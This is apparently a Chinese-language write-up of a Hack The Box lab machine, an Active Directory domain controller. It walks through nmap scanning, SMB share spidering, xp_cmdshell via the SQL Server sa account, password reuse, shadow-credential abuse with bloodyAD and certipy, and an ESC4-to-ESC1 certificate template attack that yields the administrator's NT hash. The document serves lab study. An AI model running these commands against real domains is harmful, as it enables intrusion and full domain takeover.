目录
USER nmap扫描结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 ┌──(hacker㉿kali)-[~/Desktop] └─$ nmap -sC -sV -Pn 10.10.11.51 Starting Nmap 7.94 ( https://nmap.org ) at 2025-01-17 11:13 CST Nmap scan report for 10.10.11.51 Host is up (0.065s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version | bind | root-servers | nstld |_ verisign-grs 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-17 02:58:25Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date : 2025-01-17T03:00:15+00:00; -15m47s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 |_ssl-date : 2025-01-17T03:00:15+00:00; -15m47s from scanner time. 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-info: | 10.10.11.51:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-01-17T01:50:42 |_Not valid after: 2055-01-17T01:50:42 |_ssl-date : 2025-01-17T03:00:16+00:00; -15m46s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 |_ssl-date : 2025-01-17T03:00:16+00:00; -15m46s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date : 2025-01-17T03:00:15+00:00; -15m47s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.94%I=7%D=1/17%Time=6789CB08%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,6B,"\0i\0\x06\x85\x03\0\x01\0\0\0\x01\0\0\x07version\x SF:04bind\0\0\x10\0\x03\0\0\x06\0\x01\0\0\x01\x87\0@\x01a\x0croot-servers\ SF:x03net\0\x05nstld\x0cverisign-grs\x03com\0x\xb39\x92\0\0\x07\x08\0\0\x0 SF:3\x84\0\t:\x80\0\x01Q\x80" )%r(DNSStatusRequestTCP,E,"\0\x0c\0\0\x90\x02 SF:\0\0\0\0\0\0\0\0" );Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -15m46s, deviation: 0s, median: -15m47s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date : 2025-01-17T02:59:40 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 127.48 seconds
用给定的用户rose : KxEPkKe6R8su登录可以用netexec的spider_plus来下载smb的内容:
1 2 3 4 5 6 7 8 9 10 11 12 $ netexec smb 10.10.11.51 -u rose -p KxEPkKe6R8su -M spider_plus -o DOWNLOAD_FLAG=True SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su SPIDER_PLUS 10.10.11.51 445 DC01 [*] Started module spidering_plus with the following options: SPIDER_PLUS 10.10.11.51 445 DC01 [*] DOWNLOAD_FLAG: True SPIDER_PLUS 10.10.11.51 445 DC01 [*] STATS_FLAG: True SPIDER_PLUS 10.10.11.51 445 DC01 [*] EXCLUDE_FILTER: ['print$' , 'ipc$' ] SPIDER_PLUS 10.10.11.51 445 DC01 [*] EXCLUDE_EXTS: ['ico' , 'lnk' ] SPIDER_PLUS 10.10.11.51 445 DC01 [*] MAX_FILE_SIZE: 50 KB SPIDER_PLUS 10.10.11.51 445 DC01 [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus .......
在其中的一个xlsx文件中可以找到四个凭据,会发现sa是mssql2005的最高权限用户,我们能够登录,并且可以启用xp_cmdshell来执行命令,用nxc可以直接完成这个步骤,翻一下mssql的配置会发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ┌──(hacker㉿kali)-[~/Desktop] └─$ netexec mssql 10.10.11.51 -u sa -p MSSQLP@ssw0rd! --local-auth -x 'type C:\sql2019\ExpressAdv_ENU\sql-Configuration.INI ' MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!) MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec MSSQL 10.10.11.51 1433 DC01 [OPTIONS] MSSQL 10.10.11.51 1433 DC01 ACTION="Install" MSSQL 10.10.11.51 1433 DC01 QUIET="True" MSSQL 10.10.11.51 1433 DC01 FEATURES=SQL MSSQL 10.10.11.51 1433 DC01 INSTANCENAME="SQLEXPRESS" MSSQL 10.10.11.51 1433 DC01 INSTANCEID="SQLEXPRESS" MSSQL 10.10.11.51 1433 DC01 RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS" MSSQL 10.10.11.51 1433 DC01 AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE" MSSQL 10.10.11.51 1433 DC01 AGTSVCSTARTUPTYPE="Manual" MSSQL 10.10.11.51 1433 DC01 COMMFABRICPORT="0" MSSQL 10.10.11.51 1433 DC01 COMMFABRICNETWORKLEVEL=""0" MSSQL 10.10.11.51 1433 DC01 COMMFABRICENCRYPTION="0" MSSQL 10.10.11.51 1433 DC01 MATRIXCMBRICKCOMMPORT="0" MSSQL 10.10.11.51 1433 DC01 SQLSVCSTARTUPTYPE="Automatic" MSSQL 10.10.11.51 1433 DC01 FILESTREAMLEVEL="0" MSSQL 10.10.11.51 1433 DC01 ENABLERANU="False" MSSQL 10.10.11.51 1433 DC01 SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS" MSSQL 10.10.11.51 1433 DC01 SQLSVCACCOUNT="SEQUEL\sql_svc" MSSQL 10.10.11.51 1433 DC01 SQLSVCPASSWORD="WqSZAF6CysDQbGb3" MSSQL 10.10.11.51 1433 DC01 SQLSYSADMINACCOUNTS="SEQUEL\Administrator" MSSQL 10.10.11.51 1433 DC01 SECURITYMODE="SQL" MSSQL 10.10.11.51 1433 DC01 SAPWD="MSSQLP@ssw0rd!" MSSQL 10.10.11.51 1433 DC01 ADDCURRENTUSERASSQLADMIN="False" MSSQL 10.10.11.51 1433 DC01 TCPENABLED="1" MSSQL 10.10.11.51 1433 DC01 NPENABLED="1" MSSQL 10.10.11.51 1433 DC01 BROWSERSVCSTARTUPTYPE="Automatic" MSSQL 10.10.11.51 1433 DC01 IAcceptSQLServerLicenseTerms=True
WqSZAF6CysDQbGb3不能用来登录sql_svc(sa的winrm账户),但是查看一下远程登录用户:
1 2 3 4 5 6 7 8 9 10 └─$ netexec mssql 10.10.11.51 -u sa -p MSSQLP@ssw0rd! --local-auth -x 'net user ' MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!) MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec MSSQL 10.10.11.51 1433 DC01 User accounts for \\DC01 MSSQL 10.10.11.51 1433 DC01 ------------------------------------------------------------------------------- MSSQL 10.10.11.51 1433 DC01 Administrator ca_svc Guest MSSQL 10.10.11.51 1433 DC01 krbtgt michael oscar MSSQL 10.10.11.51 1433 DC01 rose ryan sql_svc MSSQL 10.10.11.51 1433 DC01 The command completed successfully.
再把这个密码尝试一下会发现ryan能够登录了,就能直接读userflag
ROOT 这个靶场最有价值的就是ROOT的提权过程,之前在vintage用RBCD ABUSE去越权拿ST访问wmi,这个靶场展示了用cert来登录这种扩展的认证方式。
可以在上面的用户中看到一个ca_svc用户,这个用户与证书发布相关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 [+] Response for object: CN=Certification Authority,CN=Users,DC=sequel,DC=htb LDAP 10.10.11.51 389 DC01 objectClass: top person organizationalPerson user LDAP 10.10.11.51 389 DC01 cn: Certification Authority LDAP 10.10.11.51 389 DC01 sn: Authority LDAP 10.10.11.51 389 DC01 givenName: Certification LDAP 10.10.11.51 389 DC01 distinguishedName: CN=Certification Authority,CN=Users,DC=sequel,DC=htb LDAP 10.10.11.51 389 DC01 instanceType: 4 LDAP 10.10.11.51 389 DC01 whenCreated: 20240609171347.0Z LDAP 10.10.11.51 389 DC01 whenChanged: 20250117145728.0Z LDAP 10.10.11.51 389 DC01 displayName: Certification Authority LDAP 10.10.11.51 389 DC01 uSNCreated: 102493 LDAP 10.10.11.51 389 DC01 memberOf: CN=Cert Publishers,CN=Users,DC=sequel,DC=htb LDAP 10.10.11.51 389 DC01 uSNChanged: 217726 LDAP 10.10.11.51 389 DC01 name: Certification Authority LDAP 10.10.11.51 389 DC01 objectGUID: 0x3e5e38923701e24c8c89ab65146f03fd LDAP 10.10.11.51 389 DC01 userAccountControl: 66048 LDAP 10.10.11.51 389 DC01 badPwdCount: 0 LDAP 10.10.11.51 389 DC01 codePage: 0 LDAP 10.10.11.51 389 DC01 countryCode: 0 LDAP 10.10.11.51 389 DC01 badPasswordTime: 133815966012254481 LDAP 10.10.11.51 389 DC01 lastLogoff: 0 LDAP 10.10.11.51 389 DC01 lastLogon: 133815993200535683 LDAP 10.10.11.51 389 DC01 logonHours: 0xffffffffffffffffffffffffffffffffffffffffff LDAP 10.10.11.51 389 DC01 pwdLastSet: 133815994488660666 LDAP 10.10.11.51 389 DC01 primaryGroupID: 513 LDAP 10.10.11.51 389 DC01 objectSid: 0x010500000000000515000000bd0bb4207c08fa390ad865d047060000 LDAP 10.10.11.51 389 DC01 accountExpires: 0 LDAP 10.10.11.51 389 DC01 logonCount: 2 LDAP 10.10.11.51 389 DC01 sAMAccountName: ca_svc LDAP 10.10.11.51 389 DC01 sAMAccountType: 805306368 LDAP 10.10.11.51 389 DC01 userPrincipalName: ca_svc@sequel.htb LDAP 10.10.11.51 389 DC01 servicePrincipalName: sequel.htb/ca_svc.DC01 LDAP 10.10.11.51 389 DC01 objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=sequel,DC=htb LDAP 10.10.11.51 389 DC01 dSCorePropagationData: 20250117145728.0Z 20250117145728.0Z 20250117145501.0Z 20250117145443.0Z 16010101000000.0Z LDAP 10.10.11.51 389 DC01 lastLogonTimestamp: 133815989421160719 LDAP 10.10.11.51 389 DC01 msDS-KeyCredentialLink: B:828:000200002000012551AC911785566D92739DD7308F933D2B9A240DC53F84E438EB85475862143E2000027BBF033A98F784BC9BD2A85ED5074C52053A9F7B4F488E3D69D9C0B29BBE689C1B01035253413100080000030000000001000000000000000000000100019543F4AFE802177FAF1218882F7FC2A0BDE09D7B4AF231FAF0C88B2BDC42A8A8CF09B9BA7AB3FBC253E763035C793C028542DB1FA8025CA8600550646066D4135AC4FC57303374855229697C7BF0BE2DC1AB482291A83B5FB8166D7DA9602B923472E6977318A2A8AE9CB2429626B9A54EE5226EDEDC36B3D979408643A24050BCAF9F822536F7B95BBD4526914C594C62F2D2926807F95A6FB884FB5E8136D5D78D9433DD2AECB40458602ACF477B6CA1C423324E4427E01BDF336B316B99911B7464955EC2F2B9274F307D97EA03D4598221C49514533B22994F3B02366B532983A4979D42FFF009A06FEBA4D4DA4542782F229BC06CC8B106903C87977C150100040101000500100006BD8468646F01524B276141D5E3F8E8940200070100080008E0F8C438F068DB01080009E0F8C438F068DB01:CN=Certification Authority,CN=Users,DC=sequel,DC=htb
msDS-KeyCredentialLink存储了序列化的用户数据,用于以cert为基础的认证,如果能够更改这个属性(自签名,让KDC有正确的公钥,能够验证证书信任链),那么就能够获得这个用户的TGT(shadow tickets ),而获得了这个用户的TGT之后,向kdc发送U2U(self2self)的ST请求,kdc会把这个用户的NTML hash用之前生成的sessionKey加密之后发回客户端 (注意,不同于用密码获取TGT的传统方式,用cert来获取TGT的时候KDC会用请求者的公钥来加密sessionkey发送给请求者,因此即使不知道请求者的密码也可以获得sessionkey,原因是我们生成证书的时候伪造了公钥,私钥是我们控制的,sessionkey也可以知道。这是不同于传统方式的.以RC4加密为例,传统方式会用NTMLhash加密sessionkey,因此不知道密码无法获得sessionkey),这样我们就可以解密获取该账户的NTML HASH。 一定得是U2U,KDC会用请求的服务方的sessionkey来加密NTMLHASH,self2self情况下sessionkey是同一个
上面的过程被封装在certipy中,我们需要修改ca_svc的msDS-KeyCredentialLink属性,因此需要寻找一个对他有写权限的账户,bloodhound之后可以轻松发现ryan就可以 ryan可以改变ca_svc的owner,owner对管理范围内的用户具有修改DACL的权限
1 2 3 4 5 sudo timedatectl set-ntp false export u=ryanexport p=WqSZAF6CysDQbGb3bloodyAD --host sequel.htb -d sequel.htb -u $u -p $p set owner ca_svc ryan certipy-ad shadow auto -u $u @sequel.htb -p $p -dc-ip 10.10.11.51 -ns 10.10.11.51 -target 10.10.11.51 -account ca_svc
certipy-ad shadow….会直接获取到ca_svc的NTML HASH,远离就是之前所说的
扫描AD CS的漏洞:
1 2 export KRB5CCNAME=$PWD /ca_svc.ccachecertipy-ad find -scheme ldap -k -debug -target dc01.sequel.htb -dc-ip 10.10.11.51 -vulnerable -stdout
会发现DunderMifflinAuthentication这个certificate template满足ESC4的触发条件,而ESC4就是有我们能够控制的账户能够修改certificate template,修改三个属性后能够 实施ESC1攻击,也就是我们控制的账户可以代替其它所有账户请求它们的cert,包括administrator,然后可以用administrator的cert请求TGT从而获取它的NThash( self2self,和之前一样)
1 2 3 4 5 export nt=3b181b914e7a9d5508ea1e20bc2b7fceexport KRB5CCNAME=$PWD /ca_svc.ccachecertipy-ad template -k -template DunderMifflinAuthentication -dc-ip 10.10.11.51 -target dc01.sequel.htb certipy-ad req -u ca_svc -hashes $nt -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -debug certipy-ad auth -pfx administrator_10.pfx -domain sequel.htb
用pfx证书来获取NTLM HASH后就可以winrm登录获取root flag